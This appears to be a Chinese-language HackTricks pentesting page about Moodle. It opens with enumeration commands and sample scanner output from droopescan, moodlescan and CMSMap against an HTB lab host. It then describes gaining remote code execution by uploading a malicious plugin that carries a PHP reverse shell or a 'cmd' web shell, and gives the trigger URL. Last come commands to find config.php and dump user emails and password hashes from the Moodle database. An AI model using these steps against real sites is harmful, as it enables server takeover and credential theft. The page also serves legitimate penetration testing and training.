Moodle

漏洞赏金提示:注册Intigriti,一个由黑客创建的高级漏洞赏金平台!立即加入我们,访问https://go.intigriti.com/hacktricks,开始赚取高达**$100,000**的赏金!
自动扫描
droopescan
pip3 install droopescan
droopescan scan moodle -u http://moodle.example.com/<moodle_path>/
[+] Plugins found:
forum http://moodle.schooled.htb/moodle/mod/forum/
http://moodle.schooled.htb/moodle/mod/forum/upgrade.txt
http://moodle.schooled.htb/moodle/mod/forum/version.php
[+] No themes found.
[+] Possible version(s):
3.10.0-beta
[+] Possible interesting urls found:
Static readme file. - http://moodle.schooled.htb/moodle/README.txt
Admin panel - http://moodle.schooled.htb/moodle/login/
[+] Scan finished (0:00:05.643539 elapsed)
moodlescan
moodlescan
#Install from https://github.com/inc0d3/moodlescan
python3 moodlescan.py -k -u http://moodle.example.com/<moodle_path>/
Version 0.7 - Dic/2020
.............................................................................................................
By Victor Herrera - supported by www.incode.cl
.............................................................................................................
Getting server information http://moodle.schooled.htb/moodle/ ...
server : Apache/2.4.46 (FreeBSD) PHP/7.4.15
x-powered-by : PHP/7.4.15
x-frame-options : sameorigin
last-modified : Wed, 07 Apr 2021 21:33:41 GMT
Getting moodle version...
Version found via /admin/tool/lp/tests/behat/course_competencies.feature : Moodle v3.9.0-beta
Searching vulnerabilities...
Vulnerabilities found: 0
Scan completed.
CMSMap
CMSMap
pip3 install git+https://github.com/dionach/CMSmap.git
cmsmap http://moodle.example.com/<moodle_path>
CVEs
我发现自动工具在发现影响 Moodle 版本的漏洞方面相当无用。您可以在 https://snyk.io/vuln/composer:moodle%2Fmoodle 进行检查。
RCE
您需要具有管理员角色,可以在**“站点管理”选项卡内安装插件**:

即使您是管理员,您可能仍然需要激活此选项。您可以查看 Moodle 特权升级 PoC 中的操作:https://github.com/HoangKien1020/CVE-2020-14321。
然后,您可以安装以下插件,其中包含经典的 pentest-monkey php rev shell(在上传之前,您需要解压缩它,更改 revshell 的 IP 和端口,然后再次压缩):
或者您可以使用来自 https://github.com/HoangKien1020/Moodle_RCE 的插件,使用“cmd”参数获取常规 PHP shell。
要访问启动恶意插件,您需要访问:
http://domain.com/<moodle_path>/blocks/rce/lang/en/block_rce.php?cmd=id
POST
查找数据库凭据
find / -name "config.php" 2>/dev/null | grep "moodle/config.php"
从数据库中转储凭据
/usr/local/bin/mysql -u <username> --password=<password> -e "use moodle; select email,username,password from mdl_user; exit"

Bug赏金提示: 注册Intigriti,一个由黑客创建的高级bug赏金平台,为黑客而生!今天加入我们 https://go.intigriti.com/hacktricks,开始赚取高达**$100,000**的赏金!
最后更新于